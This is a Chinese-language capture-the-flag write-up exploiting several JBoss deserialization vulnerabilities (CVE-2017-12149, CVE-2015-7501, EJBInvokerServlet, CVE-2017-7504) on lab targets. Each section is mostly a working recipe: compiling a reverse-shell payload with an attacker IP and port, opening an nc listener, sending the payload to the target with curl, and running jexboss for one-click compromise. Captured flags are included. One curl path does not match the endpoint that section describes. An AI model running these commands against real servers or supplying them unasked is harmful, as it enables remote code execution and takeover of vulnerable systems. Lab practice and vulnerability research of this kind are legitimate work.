JBoss 漏洞研究
jboss 代码执行 (CVE-2017-12149)
影响范围
JBoss 5.x/6.x
漏洞原理
在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测,导致攻击者可以执行任意代码
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码
漏洞复现
启动 https://vulfocus.cn/ 靶场环境
访问 /invoker/readonly 如果返回500,说明此页面就可能存在反序列化漏洞。
直接用CVE工具利用
靶场 flag-{bmh7cbffb27-ed9a-4c74-8929-0b6df905cc8a}
反弹shell的POC
下载工具后进入目录http://scan.javasec.cn/java/JavaDeserH2HC.zip
攻击机下载执行执行生成二进制payload文件:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
修改接收shell的IP和端口:
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:7777
不要管报错
NC开启监听:
nc -vv -l -p 7777
向靶机发起攻击Payload:
curl http://123.58.224.8:26968/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
反弹成功
取得flag
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
影响版本
Red Hat JBoss A-MQ 6.x版本;
BPM Suite (BPMS) 6.x版本;
BRMS 6.x版本和5.x版本;
Data Grid (JDG) 6.x版本;
Data Virtualization (JDV) 6.x版本和5.x版本;
Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;
Fuse 6.x版本;
Fuse Service Works (FSW) 6.x版本;
Operations Network (JBoss ON) 3.x版本;
Portal 6.x版本;
SOA Platform (SOA-P) 5.x版本;
Web Server (JWS) 3.x版本;
Red Hat OpenShift/xPAAS 3.x版本;
Red Hat Subscription Asset Manager 1.3版本。
漏洞原理1
JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。
漏洞复现1
如果嫩下载JMXInvokerServlet文件就存在漏洞。
git clone https://github.com/ianxtianxt/CVE-2015-7501/
cd CVE-2015-7501/
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:7777
nc -vv -l -p 7777
curl http://123.58.224.8:55153/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
_flag=flag-{bmh30a69994-5535-4de1-b53d-5c36c0d0498e}
JBoss EJBInvokerServlet 反序列化漏洞
跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径是
/invoker/EJBInvokerServlet
JBossMQJMS 反序列化漏洞(CVE-2017-7504)
影响版本2
JBoss <=4.x
漏洞原理2
JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
漏洞复现2
访问 /jbossmq-httpil/HTTPServerILServlet
返回This is the JBossMQ HTTP-IL,说明存在反序列化漏洞。
利用工具:JavaDeserH2HC
https://github.com/joaomatosf/JavaDeserH2HC
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机:7777
nc -vv -l -p 7777
curl http://123.58.224.8:47973/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
flag-{bmh93d53260-14f8-4405-91cd-f4221ef65f3f}
Jexboss 工具一键植入
python jexboss.py -u http://123.58.224.8:47973/
参考链接